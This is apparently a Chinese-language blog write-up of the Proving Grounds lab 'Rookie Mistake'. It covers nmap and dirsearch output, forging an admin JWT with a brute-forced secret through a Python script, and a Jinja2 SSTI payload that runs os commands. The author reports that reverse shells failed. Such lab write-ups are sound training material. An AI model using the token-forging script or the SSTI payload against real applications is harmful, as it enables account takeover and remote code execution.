Rookie Mistake pg walkthrough Intermediate jwt+ssti

nmap

┌──(root㉿kali)-[~/lab]

└─# nmap -p- -A 192.168.189.221

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 00:11 UTC

Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 50.00% done; ETC: 00:12 (0:00:17 remaining)

Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 50.00% done; ETC: 00:14 (0:01:19 remaining)

Nmap scan report for 192.168.189.221

Host is up (0.071s latency).

Not shown: 65533 closed tcp ports (reset)

PORT     STATE SERVICE    VERSION

22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)

|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)

|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)

8080/tcp open  http-proxy Werkzeug/2.1.2 Python/3.8.10

|_http-server-header: Werkzeug/2.1.2 Python/3.8.10

| fingerprint-strings:

|   GetRequest:

|     HTTP/1.1 200 OK

|     Server: Werkzeug/2.1.2 Python/3.8.10

|     Date: Tue, 26 Nov 2024 00:12:25 GMT

|     Content-Type: text/html; charset=utf-8

|     Content-Length: 2469

|     Connection: close

|     <!DOCTYPE html>

|     <html>

|     <head>

|     <meta charset="UTF-8">

|     <title>Mike's upcoming dynamic website!</title>

|     <!-- Mobile Specific Meta -->

|     <meta name="viewport" content="width=device-width, initial-scale=1.0">

|     <!--[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]-->

|     <!-- Bootstrap -->

|     <link href="https://learning-zone.github.io/website-templates/indus-free-coming-soon-bootstrap-responsive-template/assets/css/bootstrap.css" rel="stylesheet">

|     <!-- Custom stylesheet -->

|     <link rel="stylesheet" href="https://learning-zone.github.io/website-templates/indus-free-coming-soon-bootstrap-responsive-template/assets/css/style.css">

|     <link rel="styleshe

|   HTTPOptions:

|     HTTP/1.1 200 OK

|     Server: Werkzeug/2.1.2 Python/3.8.10

|     Date: Tue, 26 Nov 2024 00:12:25 GMT

|     Content-Type: text/html; charset=utf-8

|     Allow: HEAD, OPTIONS, GET

|     Content-Length: 0

|     Connection: close

|   RTSPRequest:

|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"

|     "http://www.w3.org/TR/html4/strict.dtd">

|     <html>

|     <head>

|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">

|     <title>Error response</title>

|     </head>

|     <body>

|     <h1>Error response</h1>

|     <p>Error code: 400</p>

|     <p>Message: Bad request version ('RTSP/1.0').</p>

|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>

|     </body>

|_    </html>

|_http-title: Mike's upcoming dynamic website!

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port8080-TCP:V=7.94SVN%I=7%D=11/26%Time=67451269%P=x86_64-pc-linux-gnu%

SF:r(GetRequest,A54,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2

SF:\x20Python/3\.8\.10\r\nDate:\x20Tue,\x2026\x20Nov\x202024\x2000:12:25\x

SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length

SF::\x202469\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n\x

SF:20\x20<head>\x20\x20\x20\x20\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\

SF:">\n\x20\x20\x20\x20<title>Mike's\x20upcoming\x20dynamic\x20website!</t

SF:itle>\n\x20\x20\x20\x20\n\x20\x20\x20\x20<!--\x20Mobile\x20Specific\x20

SF:Meta\x20-->\x20\x20\x20\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20

SF:content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x2

SF:0<!--\[if\x20IE\]><meta\x20http-equiv='X-UA-Compatible'\x20content='IE=

SF:edge,chrome=1'><!\[endif\]-->\n\n\x20\x20\x20\x20<!--\x20Bootstrap\x20-

SF:->\n\x20\x20\x20\x20<link\x20href=\"https://learning-zone\.github\.io/w

SF:ebsite-templates/indus-free-coming-soon-bootstrap-responsive-template/a

SF:ssets/css/bootstrap\.css\"\x20rel=\"stylesheet\">\n\n\x20\x20\x20\x20<!

SF:--\x20Custom\x20stylesheet\x20-->\n\x20\x20\x20\x20<link\x20rel=\"style

SF:sheet\"\x20href=\"https://learning-zone\.github\.io/website-templates/i

SF:ndus-free-coming-soon-bootstrap-responsive-template/assets/css/style\.c

SF:ss\">\x20\n\x20\x20\x20\x20<link\x20rel=\"styleshe")%r(HTTPOptions,C7,"

SF:HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.1

SF:0\r\nDate:\x20Tue,\x2026\x20Nov\x202024\x2000:12:25\x20GMT\r\nContent-T

SF:ype:\x20text/html;\x20charset=utf-8\r\nAllow:\x20HEAD,\x20OPTIONS,\x20G

SF:ET\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequ

SF:est,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01/

SF:/EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/s

SF:trict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20

SF:\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;cha

SF:rset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response

SF:</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20

SF:\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x2

SF:0\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20

SF:<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20

SF:\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPSta

SF:tus\.BAD_REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\

SF:x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.94SVN%E=4%D=11/26%OT=22%CT=1%CU=38022%PV=Y%DS=4%DC=T%G=Y%TM=674

OS:512D1%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A

OS:)OPS(O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M57

OS:8ST11NW7%O6=M578ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88

OS:)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+

OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)

OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A

OS:=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC

OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)

HOP RTT      ADDRESS

1   70.00 ms 192.168.45.1

2   69.98 ms 192.168.45.254

3   70.96 ms 192.168.251.1

4   71.02 ms 192.168.189.221

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 155.39 seconds

dirsearch

[00:14:59] Starting:

[00:15:42] 308 -  253B  - /edit  ->  http://192.168.189.221:8080/edit/

[00:15:55] 308 -  255B  - /login  ->  http://192.168.189.221:8080/login/

[00:15:55] 200 -    3KB - /login/

[00:16:16] 308 -  257B  - /signup  ->  http://192.168.189.221:8080/signup/

访问8080首页就可以发现很有意思的提示

他说这个站点是他要python flask 结合jwt写的测试站

更具dirsearch 扫到的结果发现了注册页面

随便注册个用户

这个页面比较有意思 /edit 但是咱们现在还没登录所以改密码他会显示token错误

进入login界面进行登录看看

我先尝试了admin用户他会说用户不存在这个点可以用来枚举用户

尝试登录刚刚自己的注册账号显示成功

第一反应是jwt结合sql注入或者ssti

尝试了无加密算法绕过不行

看来要找到秘钥才能改写密码了

尝试爆破jwt秘钥

写了一个生成jwt的脚本这里我们尝试将用户名改成admin 看看回显是否会变成admin

import sys

import hmac

import hashlib

import base64

import json

import requests

username = str("brian")

secret_key = "ilovejwt"

header = json.dumps({"typ":"JWT","alg":"HS256"}).replace(" ","").encode()

#要去除空格

payload = json.dumps({"username":"admin","public_id":"dbbf960e-d509-4f97-9a00-d8358ac69375","exp":1732586339}

).replace(" ","").encode()

b64_header = base64.urlsafe_b64encode(header).decode().rstrip("=")

b64_payload = base64.urlsafe_b64encode(payload).decode().rstrip("=")

signature = hmac.new(

    key=secret_key.encode(),

    msg=f'{b64_header}.{b64_payload}'.encode(),

    digestmod=hashlib.sha256

).digest()

JWT = f'{b64_header}.{b64_payload}.{base64.urlsafe_b64encode(signature).decode()}'

# COOKIES = {

#     'session': JWT.rstrip("=")

#     }

#

# headers = {

#     'Host': 'scarlet.local'

# }

# rese = requests.get("http://scarlet.local/portal", cookies = COOKIES, headers=headers)

print(JWT.rstrip("="))

可以看到成功修改
![image](https://img2024.cnblogs.com/blog/3376478/202411/3376478-20241126094424865-940503671.png)

实现了用户伪造

那么接下来我们看看有无sql注入漏洞以及ssti

sql注入测试过滤完全没有

接下来尝试ssti

将username改成{{7*7}}

发现成功执行了

那接下来就好办了这就是个标准的ssti注入

发现可rce代码

{{ config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('ls').read() }}

但是他靶场又出问题了

按道理我们已经可以随意执行代码了但是各种反弹shell都不管用而且只能执行单一命令连 ls -al都执行不了我就不知道出啥问题了

我按照官方wp走一遍也不行

太多问题了这靶场不过总体思路明白了不错

Rookie Mistake pg walkthrough Intermediate jwt+ssti的更多相关文章

HACK TEH BOX - Under Construction（JWT密钥混淆 + SQL注入）
HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入) 目录 1. JWT密钥混淆 2. 环境 3. Challenge 4. Walkthrough 1 ...
<老友记>学习笔记
这是六个人的故事,从不服输而又有强烈控制欲的monica,未经世事的千金大小姐rachel,正直又专情的ross,幽默风趣的chandle,古怪迷人的phoebe,花心天真的joey——六个好友之间的 ...
Keras vs. PyTorch in Transfer Learning
We perform image classification, one of the computer vision tasks deep learning shines at. As traini ...
How to Tell Science Stories with Maps
Reported Features How to Tell Science Stories with Maps August 25, 2015 Greg Miller This map, part ...
JWT原理使用（入门篇）
1.JWT简介 JWT:Json Web Token,是基于Json的一个公开规范,这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息,他的两大使用场景是:认证和数据交换使用起来就是,由 ...
SpringBoot 2.x 使用 JWT（JSON Web Token）
一.跨域认证遇到的问题由于多终端的出现,很多的站点通过 web api restful 的形式对外提供服务,采用了前后端分离模式进行开发,因而在身份验证的方式上可能与传统的基于 cookie 的 S ...
SpringSecurity权限管理系统实战—六、SpringSecurity整合jwt
目录 SpringSecurity权限管理系统实战-一.项目简介和开发环境准备 SpringSecurity权限管理系统实战-二.日志.接口文档等实现 SpringSecurity权限管理系统实战-三 ...
入门 - SpringBoot 2.x 使用 JWT
JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理和用法一.跨域认证遇到的问题由于多终端的出现,很多的站点通过 web api restful 的形式对外 ...
简析服务端通过GT导入SHP至PG的方法
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...
看图理解JWT如何用于单点登录
单点登录是我比较喜欢的一个技术解决方案,一方面他能够提高产品使用的便利性,另一方面他分离了各个应用都需要的登录服务,对性能以及工作量都有好处.自从上次研究过JWT如何应用于会话管理,加之以前的项目中也 ...

随机推荐

WebLogic XMLDecoder反序列化漏洞
目录前言 XMLDecoder概述 XMLDecoder反序列化漏洞漏洞复现前言上篇复现了T3反序列化漏洞,XMLDecoder反序列化在WebLogic中也是一类影响很大的反序化漏洞. XM ...
读书笔记-C#8.0本质论-07
19. 平台互相操作性和不安全代码 19.1 在托管平台调用非托管代码--P/Invoke模式 CLI通过P/Invoke功能对非托管DLL所导出的函数执行API调用.和类的所有普通方法一样,必须在类 ...
Redis之常用模块Module
1. Redis-Cell 限流模块 2.RedisBloom 布隆过滤器 https://github.com/RedisBloom/RedisBloom
Konva.js
1.前言简介:Konva.js - 适用于桌面/移动端应用的 HTML5 2d canvas 库个人体验:原生的canvas只支持绘制基本的直线,矩形,文字,图片,扇形等,如果要支持更复杂的功能, ...
2024 盘古石数据取证服务器部分wp
1. 分析内部IM服务器检材,在搭建的内部即时通讯平台中,客户端与服务器的通讯端口是:[答案格式:8888][★☆☆☆☆] 8065 2. 分析内部IM服务器检材,该内部IM平台使用的数据库版本是: ...
NET 6 中新增的LINQ 方法
.NET 6 中添加了许多 LINQ 方法. 下表中列出的大多数新方法在 System.Linq.Queryable 类型中具有等效方法. 欢迎关注如果你刻意练习某件事情请超过10000小时,那么你 ...
vue开发一个简单的组件
首先在项目中新建一个js文件在文件内创建一个对象,对象内创建install方法,将对象用export default暴漏出去 export default{ install(){ console.l ...
【相邻不同型贪心】LeetCode767 重构字符串
题解通常直接思考最佳策略是十分困难的,我们不妨思考每一种情况需要如何处理: 整个字符串只有一种字符若字符串长度为 \(1\),那么字符串本身即为答案: 若字符串长度大于等于 \(2\),那么不存在 ...
day02 计算机组成
day02 计算机组成 1.硬件计算机硬件是指一些物理装置按照系统结构的要求构成一个有机整体为计算机软件运行提供物质基础构成最基础的硬件有: CPU 内存主板 IO设备 2.软件计算机软件可以 ...
用 16G 内存存放 30亿数据（Java Map）转载
在讨论怎么去重,提出用 direct buffer 建 btree,想到应该有现成方案,于是找到一个好东西: MapDB - MapDB : http://www.mapdb.org/ 以下来自:ko ...

Rookie Mistake pg walkthrough Intermediate jwt+ssti

Rookie Mistake pg walkthrough Intermediate jwt+ssti的更多相关文章

随机推荐

热门专题